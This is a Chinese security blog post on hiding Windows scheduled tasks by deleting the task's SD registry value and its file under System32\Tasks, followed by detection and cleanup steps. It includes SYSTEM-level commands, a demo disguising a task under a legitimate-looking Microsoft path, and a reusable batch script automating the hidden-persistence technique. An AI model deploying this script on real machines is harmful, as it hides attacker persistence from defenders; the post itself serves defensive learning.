• 【安全狐】Windows隐藏计划任务技术及排查方法


    0x00 前置知识

    计划任务SCHTASKS命令

    SCHTASKS
    
    • 1

    image-20220818155119836

    SCHTASKS /Create 参数

    SCHTASKS /Create [/S system [/U username [/P [password]]]]
        [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
        [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
        [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
        [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
    
    描述:
         允许管理员在本地或远程系统上创建计划任务。
    
    参数列表:
        /S   system        指定要连接到的远程系统。如果省略这个
                           系统参数,默认是本地系统。
        /U   username      指定应在其中执行 SchTasks.exe 的用户上下文。
        /P   [password]    指定给定用户上下文的密码。如果省略则
                           提示输入。
        /RU  username      指定任务在其下运行的“运行方式”用户
                           帐户(用户上下文)。对于系统帐户,有效
                           值是 ""、"NT AUTHORITY\SYSTEM" 或
                           "SYSTEM"。
                           对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
                           "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
                             对这三个也都可用。
        /RP  [password]    指定“运行方式”用户的密码。要提示输
                           入密码,值必须是 "*" 或无。系统帐户会忽略该
                           密码。必须和 /RU 或 /XML 开关一起使用。
    /RU/XML    /SC   schedule     指定计划频率。
                           有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、
                           MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
        /MO   modifier     改进计划类型以允许更好地控制计划重复
                           周期。有效值列于下面“修改者”部分中。
        /D    days         指定该周内运行任务的日期。有效值:
                           MON、TUE、WED、THU、FRI、SAT、SUN
                           和对 MONTHLY 计划的 1 - 31
                           (某月中的日期)。通配符“*”指定所有日期。
        /M    months       指定一年内的某月。默认是该月的第一天。
                           有效值: JAN、FEB、MAR、APR、MAY、JUN、
                           JUL、 AUG、SEP、OCT、NOV  和 DEC。通配符
                           “*” 指定所有的月。
        /I    idletime     指定运行一个已计划的 ONIDLE 任务之前
                           要等待的空闲时间。
                           有效值范围: 1 到 999 分钟。
        /TN   taskname     以路径\名称形式指定
                           对此计划任务进行唯一标识的字符串。
        /TR   taskrun      指定在这个计划时间运行的程序的路径
                           和文件名。
                           例如: C:\windows\system32\calc.exe
        /ST   starttime    指定运行任务的开始时间。
                           时间格式为 HH:mm (24 小时时间),例如 14:30 表示
                           2:30 PM。如果未指定 /ST,则默认值为
                           当前时间。/SC ONCE 必需有此选项。
        /RI   interval     用分钟指定重复间隔。这不适用于
                           计划类型: MINUTE、HOURLY、
                           ONSTART, ONLOGON, ONIDLE, ONEVENT.
                           有效范围: 1 - 599940 分钟。
                           如果已指定 /ET 或 /DU,则其默认值为
                           10 分钟。
        /ET   endtime      指定运行任务的结束时间。
                           时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。
                           这不适用于计划类型: ONSTART、
                           ONLOGON, ONIDLE, ONEVENT.
        /DU   duration     指定运行任务的持续时间。
                           时间格式为 HH:mm。这不适用于 /ET 和
                           计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
                           对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
                           1 小时。
        /K                 在结束时间或持续时间终止任务。
                           这不适用于计划类型: ONSTART、
                           ONLOGON, ONIDLE, ONEVENT.
                           必须指定 /ET 或 /DU。
        /SD   startdate    指定运行任务的第一个日期。
                           格式为 yyyy/mm/dd。默认值为
                           当前日期。这不适用于计划类型: ONCE、
                           ONSTART, ONLOGON, ONIDLE, ONEVENT.
        /ED   enddate      指定此任务运行的最后一天的日期。
                           格式是 yyyy/mm/dd。这不适用于计划类型:
                            ONCE、ONSTART、ONLOGON、ONIDLE。
        /EC   ChannelName  为 OnEvent 触发器指定事件通道。
        /IT                仅有在 /RU 用户当前已登录且
                           作业正在运行时才可以交互式运行任务。
                           此任务只有在用户已登录的情况下才运行。
        /NP                不储存任何密码。任务以给定用户的身份
                           非交互的方式运行。只有本地资源可用。
        /Z                 标记在最终运行完任务后删除任务。
        /XML  xmlfile      从文件的指定任务 XML 中创建任务。
                           可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
                           主体时单独使用 /RP。
        /V1                创建 Vista 以前的平台可以看见的任务。
                           不兼容 /XML。
        /F                 如果指定的任务已经存在,则强制创建
                           任务并抑制警告。
        /RL   level        为作业设置运行级别。有效值为
                           LIMITED 和 HIGHEST。默认值为 LIMITED。
        /DELAY delaytime   指定触发触发器后延迟任务运行的
                           等待时间。时间格式为
                           mmmm:ss。此选项仅对计划类型
                           ONSTART, ONLOGON, ONEVENT.
        /HRESULT          为获得更出色的故障诊断能力,处理退出代码
                           将采用 HRESULT 格式。
        /?                 显示此帮助消息。
    修改者: 按计划类型的 /MO 开关的有效值:
        MINUTE:  1 到 1439 分钟。
        HOURLY:  1 - 23 小时。
        DAILY:   1 到 365 天。
        WEEKLY:  1 到 52 周。
        ONCE:    无修改者。
        ONSTART: 无修改者。
        ONLOGON: 无修改者。
        ONIDLE:  无修改者。
        MONTHLY: 1 到 12,或
                 FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111

    0x01 隐藏计划任务的创建

    1.1 SCHTASKS命令创建普通计划任务

    schtasks /create /TN Calc /SC MINUTE /MO 3 /TR "c:\windows\system32\calc.exe" /U Administrator /F
    
    • 1
        /TN   taskname     以路径\名称形式指定
                           对此计划任务进行唯一标识的字符串。
                           
    	/SC   schedule     指定计划频率。
                           有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, 
                           ONSTART, ONLOGON, ONIDLE, ONEVENT.
                           
    	/MO   modifier     改进计划类型以允许更好地控制计划重复
                           周期。
                           
        /TR   taskrun      指定在这个计划时间运行的程序的路径
                           和文件名。
                           
    	/F                 如果指定的任务已经存在,则强制创建
                           任务并抑制警告。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    image-20220818160621500

    可使用/RU参数指定任务在其下运行的“运行方式”用户帐户

        /RU  username      指定任务在其下运行的“运行方式”用户
                           帐户(用户上下文)。
    
    • 1
    • 2

    image-20220818160404695

    默认情况下,很容易使用任务计划程序或者autoruns工具查看到

    image-20220818160844957

    1.2 删除注册表SD记录

    此时我们可以通过删除注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\下的SD记录,隐藏计划任务。

    直接使用命令reg delete删除这个值,会提示权限拒绝错误,我们需要system权限才能删除这个记录。

    image-20220818165848180

    使用psexec获得一个system权限的cmd

    PsExec64.exe -s -i cmd
    
    • 1

    PsExec64可到Microsoft的sysinternals下载

    https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

    image-20220818170041949

    删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\的SD值

    reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Calc" /v SD /f
    
    • 1
    	/f         不用提示,强制删除。
    	/v         ValueName  所选项下面的要删除的值名称。
    			   如果省略,则删除该项下面的所有子项和值。
    
    • 1
    • 2
    • 3

    image-20220818170342120

    image-20220818170451735

    删除后,我们用任务计划程序或者autoruns查看,都无法看到对应的计划任务

    image-20220818170619382

    计划任务实际还会运行

    image-20220818171157373

    此时,有两个地方可以看到计划任务存在。

    一是在C:\windows\system32\Tasks目录下会有计划任务的配置文件,如下:

    image-20220818171339260

    二是在注册表中也能看到,在Tree下面对应计划任务的名称和ID,在Tasks下面为计划任务的实际配置信息:

    image-20220818171607701

    image-20220818171623704

    1.3 删除磁盘上的配置文件

    即使我们删除了磁盘上的配置文件,重启后计划任务仍会运行,要想找到计划任务,只能在注册表里面查找。

    image-20220818171753581

    从攻击方的角度,我们可以将计划任务名称伪装成常见的合法的计划任务,迷惑防守方,然后删除计划任务对应的SD记录和C:\Windows\system32\Tasks下面对应的配置文件,极大地提升检测和响应难度。

    0x02 隐藏计划任务的检测和清除

    1、查看恶意进程父进程是否为计划任务进程,计划任务进程一般为svchost.exe -k netsvcs:

    image-20220818172804273

    2、查看日志文件Microsoft-Windows-TaskScheduler%4Operational.evtx中事件ID 200/201/102关于计划任务的执行和完成情况:

    image-20220818172850603

    如果没有日志,可以在任务计划程序里面临时开启(应急完成后,如果不需要可以关掉,但建议开启):

    image-20220818173007590

    3、检查在C:\windows\system32\Tasks下是否存在执行恶意文件的计划任务配置文件,有的话提取相关证据后删除,如果没有,我们只能在注册表中进行搜索。

    image-20220818171339260

    4、检查注册表如下2个键:

    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree

    在Tree下面找到恶意计划任务名称后,根据ID的值在TaskCache\Tasks下面找实际的配置数据。提取相关证据后删除上面2个记录。

    image-20220818171607701

    image-20220818173924687

    5、重启计划任务服务或者系统。如果要重启计划任务服务,需要以system权限操作,管理员无权限:

    image-20220818173252961

    在系统或者服务重启后,将会完全清理计划任务。对于运行恶意exe的计划任务,也可以直接删除可执行程序,这样即使计划任务可以运行,但是进程也执行不了。但对于使用powershell 无文件运行恶意进程,只能通过重启服务或者系统实现完全清理。

    0x03 总结

    使用计划任务进行权限维持之前使用已经比较多了,但创建隐藏计划任务目前使用的还比较少,对于攻击方,可作为权限维持和防御规避的手段之一,作为防守方我们也需要了解如何对这种攻击手段进行检测和响应。

    C:\Windows\system32>schtasks /create /TN \Microsoft\Windows\WlanSvc\Autopilot /SC MINUTE /MO 3 /TR "c:\windows\system32\calc.exe" /RU Administrator /F
    成功: 成功创建计划任务 "\Microsoft\Windows\WlanSvc\Autopilot"。
    
    C:\Windows\system32>reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WlanSvc\Autopilot" /v SD /f
    操作成功完成。
    
    C:\Windows\system32>del C:\windows\system32\Tasks\Microsoft\Windows\WlanSvc\Autopilot
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    bat脚本

    %~1 计划任务位置 
    	格式  
    	建议放置\Microsoft\Windows下
    %~2 要执行的命令 或运行的脚本、程序。
    	绝对位置
    %~3 每多少分钟执行一次
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    需要以system权限执行

    @echo
    off
    
    schtasks /create /TN %~1 /SC MINUTE /MO %~3 /TR "%~2" /RU Administrator /F
    
    reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree%~1" /v SD /f
    
    del %SystemRoot%\system32\Tasks%~1
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    参考资料
    https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
    https://attack.mitre.org/techniques/T1053/005/
    https://mp.weixin.qq.com/s/CM-Z-2ljHHZM2XO_7EzXGw

  • 相关阅读:
    【鸿蒙应用开发系列】- 事件订阅者CommonEventSubscriber使用
    jetsonnano部署openpose姿态检测 cuda10.2
    国产AD+全志T3开发案例,为能源电力行业排忧解难!8/16通道
    易观分析互联网+慢病管理生态洞察,助力行业升级
    word2vec包中cbow模型--学习笔记
    Python 全栈系列195 Neo4j 4.4 Docker安装
    文件传输工具WinSCP下载安装使用教程
    PLC模拟量输入 模拟量转换FB S_ITR(三菱FX3U)
    UDP-A-D-乙酰氨基葡萄二钠盐;UDP-ALPHA-D-N-ACETYLGLUCOSAMINE, DISODIUM SALT
    HiveSQL中last_value函数的应用
  • 原文地址:https://blog.csdn.net/weixin_44893633/article/details/136168138